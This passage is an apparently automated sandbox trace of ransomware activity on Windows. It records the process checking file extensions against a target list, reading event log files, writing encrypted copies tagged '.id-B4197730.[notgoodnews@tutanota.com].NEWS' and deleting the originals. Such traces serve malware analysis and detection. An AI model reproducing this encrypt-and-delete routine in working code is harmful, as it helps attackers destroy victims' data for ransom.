lpString2="evtx") returned -1 [0078.983] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.984] lstrlenW (lpString=".1cd") returned 4 [0078.984] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.984] lstrlenW (lpString=".jpg") returned 4 [0078.984] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.984] lstrlenW (lpString=".doc") returned 4 [0078.984] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString=".docx") returned 5 [0078.984] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.984] lstrlenW (lpString=".pdf") returned 4 [0078.984] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString=".xls") returned 4 [0078.984] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString=".xlsx") returned 5 [0078.984] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.984] lstrlenW (lpString=".ppt") returned 4 [0078.984] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.984] lstrlenW (lpString=".zip") returned 4 [0078.984] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString=".rar") returned 4 [0078.984] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString=".bz2") returned 4 [0078.984] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.984] lstrlenW (lpString=".7z") returned 3 [0078.984] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.985] lstrlenW (lpString=".dbf") returned 4 [0078.985] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.985] lstrlenW (lpString=".1cd") returned 4 [0078.985] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.985] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Ntfs%4WHC.evtx") returned 40 [0078.985] lstrlenW (lpString=".jpg") returned 4 [0078.985] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.985] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.985] lstrlenW (lpString="Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 74 [0078.985] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.986] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0078.986] CloseHandle (hObject=0x344) returned 1 [0078.986] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 0x20 [0078.986] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.986] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.986] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.987] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.987] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0078.987] GetLastError () returned 0x0 [0078.987] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0078.989] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0078.991] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0078.991] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x168, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x168, lpOverlapped=0x0) returned 1 [0078.991] SetEndOfFile (hFile=0x384) returned 1 [0078.991] CloseHandle (hObject=0x384) returned 1 [0078.994] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.994] SetEndOfFile (hFile=0x344) returned 1 [0078.995] CloseHandle (hObject=0x344) returned 1 [0078.995] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0078.995] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx" (normalized: "c:\\logs\\microsoft-windows-program-compatibility-assistant%4compatafterupgrade.evtx")) returned 1 [0078.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.996] lstrlenW (lpString=".doc") returned 4 [0078.996] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString=".docx") returned 5 [0078.996] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.996] lstrlenW (lpString=".pdf") returned 4 [0078.996] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString=".xls") returned 4 [0078.996] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString=".xlsx") returned 5 [0078.996] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.996] lstrlenW (lpString=".ppt") returned 4 [0078.996] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.996] lstrlenW (lpString=".zip") returned 4 [0078.996] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString=".rar") returned 4 [0078.996] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString=".bz2") returned 4 [0078.996] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString=".7z") returned 3 [0078.996] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.996] lstrlenW (lpString=".dbf") returned 4 [0078.996] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.996] lstrlenW (lpString=".1cd") returned 4 [0078.996] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.996] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.996] lstrlenW (lpString=".jpg") returned 4 [0078.997] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.997] lstrlenW (lpString=".doc") returned 4 [0078.997] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString=".docx") returned 5 [0078.997] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0078.997] lstrlenW (lpString=".pdf") returned 4 [0078.997] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString=".xls") returned 4 [0078.997] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString=".xlsx") returned 5 [0078.997] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0078.997] lstrlenW (lpString=".ppt") returned 4 [0078.997] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.997] lstrlenW (lpString=".zip") returned 4 [0078.997] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString=".rar") returned 4 [0078.997] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString=".bz2") returned 4 [0078.997] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString=".7z") returned 3 [0078.997] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0078.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.997] lstrlenW (lpString=".dbf") returned 4 [0078.997] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.997] lstrlenW (lpString=".1cd") returned 4 [0078.997] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0078.997] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Program-Compatibility-Assistant%4CompatAfterUpgrade.evtx") returned 82 [0078.997] lstrlenW (lpString=".jpg") returned 4 [0078.997] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0078.998] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0078.998] lstrlenW (lpString="Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 46 [0078.998] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.998] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0078.998] CloseHandle (hObject=0x344) returned 1 [0078.998] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 0x20 [0078.998] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0078.998] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0078.998] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.998] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0078.998] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0079.002] GetLastError () returned 0x0 [0079.002] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.465] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.467] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.467] WriteFile (in: hFile=0x384, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x130, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x130, lpOverlapped=0x0) returned 1 [0079.468] SetEndOfFile (hFile=0x384) returned 1 [0079.820] CloseHandle (hObject=0x384) returned 1 [0079.830] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.845] SetEndOfFile (hFile=0x344) returned 1 [0079.846] CloseHandle (hObject=0x344) returned 1 [0079.846] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0079.847] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-readyboost%4operational.evtx")) returned 1 [0079.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.847] lstrlenW (lpString=".doc") returned 4 [0079.847] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.847] lstrlenW (lpString=".docx") returned 5 [0079.847] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.847] lstrlenW (lpString=".pdf") returned 4 [0079.847] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.847] lstrlenW (lpString=".xls") returned 4 [0079.847] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.847] lstrlenW (lpString=".xlsx") returned 5 [0079.847] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.847] lstrlenW (lpString=".ppt") returned 4 [0079.847] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.847] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.847] lstrlenW (lpString=".zip") returned 4 [0079.847] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.847] lstrlenW (lpString=".rar") returned 4 [0079.848] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.848] lstrlenW (lpString=".bz2") returned 4 [0079.848] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.848] lstrlenW (lpString=".7z") returned 3 [0079.848] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.848] lstrlenW (lpString=".dbf") returned 4 [0079.848] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.848] lstrlenW (lpString=".1cd") returned 4 [0079.848] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.848] lstrlenW (lpString=".jpg") returned 4 [0079.848] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.848] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.848] lstrlenW (lpString=".doc") returned 4 [0079.848] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0079.848] lstrlenW (lpString=".docx") returned 5 [0079.848] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0079.849] lstrlenW (lpString=".pdf") returned 4 [0079.849] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0079.849] lstrlenW (lpString=".xls") returned 4 [0079.849] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0079.849] lstrlenW (lpString=".xlsx") returned 5 [0079.849] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0079.849] lstrlenW (lpString=".ppt") returned 4 [0079.849] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0079.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.849] lstrlenW (lpString=".zip") returned 4 [0079.849] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0079.849] lstrlenW (lpString=".rar") returned 4 [0079.849] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0079.849] lstrlenW (lpString=".bz2") returned 4 [0079.849] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0079.849] lstrlenW (lpString=".7z") returned 3 [0079.849] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0079.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.849] lstrlenW (lpString=".dbf") returned 4 [0079.849] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0079.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.849] lstrlenW (lpString=".1cd") returned 4 [0079.849] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0079.849] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-ReadyBoost%4Operational.evtx") returned 54 [0079.849] lstrlenW (lpString=".jpg") returned 4 [0079.849] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0079.850] lstrcmpiW (lpString1=".evtx", lpString2=".NEWS") returned -1 [0079.850] lstrlenW (lpString="Microsoft-Windows-SmbClient%4Security.evtx") returned 42 [0079.850] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0079.850] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x2d5ff14 | out: lpFileSize=0x2d5ff14*=69632) returned 1 [0079.851] CloseHandle (hObject=0x344) returned 1 [0079.851] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 0x20 [0079.851] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0079.851] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0079.851] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.851] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.851] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0079.870] GetLastError () returned 0x0 [0079.870] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x11000, lpOverlapped=0x0) returned 1 [0079.873] WriteFile (in: hFile=0x394, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x11010, lpOverlapped=0x0) returned 1 [0079.875] ReadFile (in: hFile=0x344, lpBuffer=0x3911020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesRead=0x2d5fecc*=0x0, lpOverlapped=0x0) returned 1 [0079.875] WriteFile (in: hFile=0x394, lpBuffer=0x3911020*, nNumberOfBytesToWrite=0x128, lpNumberOfBytesWritten=0x2d5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3911020*, lpNumberOfBytesWritten=0x2d5fc94*=0x128, lpOverlapped=0x0) returned 1 [0079.876] SetEndOfFile (hFile=0x394) returned 1 [0079.876] CloseHandle (hObject=0x394) returned 1 [0079.879] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d5fec0 | out: lpNewFilePointer=0x0) returned 1 [0079.879] SetEndOfFile (hFile=0x344) returned 1 [0080.067] CloseHandle (hObject=0x344) returned 1 [0080.067] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0080.067] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx" (normalized: "c:\\logs\\microsoft-windows-smbclient%4security.evtx")) returned 1 [0080.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.068] lstrlenW (lpString=".doc") returned 4 [0080.068] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString=".docx") returned 5 [0080.068] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.068] lstrlenW (lpString=".pdf") returned 4 [0080.068] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString=".xls") returned 4 [0080.068] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString=".xlsx") returned 5 [0080.068] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.068] lstrlenW (lpString=".ppt") returned 4 [0080.068] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.068] lstrlenW (lpString=".zip") returned 4 [0080.068] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString=".rar") returned 4 [0080.068] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString=".bz2") returned 4 [0080.068] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString=".7z") returned 3 [0080.068] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0080.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.068] lstrlenW (lpString=".dbf") returned 4 [0080.068] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.068] lstrlenW (lpString=".1cd") returned 4 [0080.068] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0080.068] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.068] lstrlenW (lpString=".jpg") returned 4 [0080.068] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.069] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-SmbClient%4Security.evtx") returned 50 [0080.069] lstrlenW (lpString=".doc") returned 4 [0080.069] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString=".docx") returned 5 [0080.069] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0080.069] lstrlenW (lpString=".pdf") returned 4 [0080.069] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString=".xls") returned 4 [0080.069] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0080.069] lstrlenW (lpString=".xlsx") returned 5 [0080.069] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0080.069] lstrlenW (lpString=".ppt") returned 4 [0080.069] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 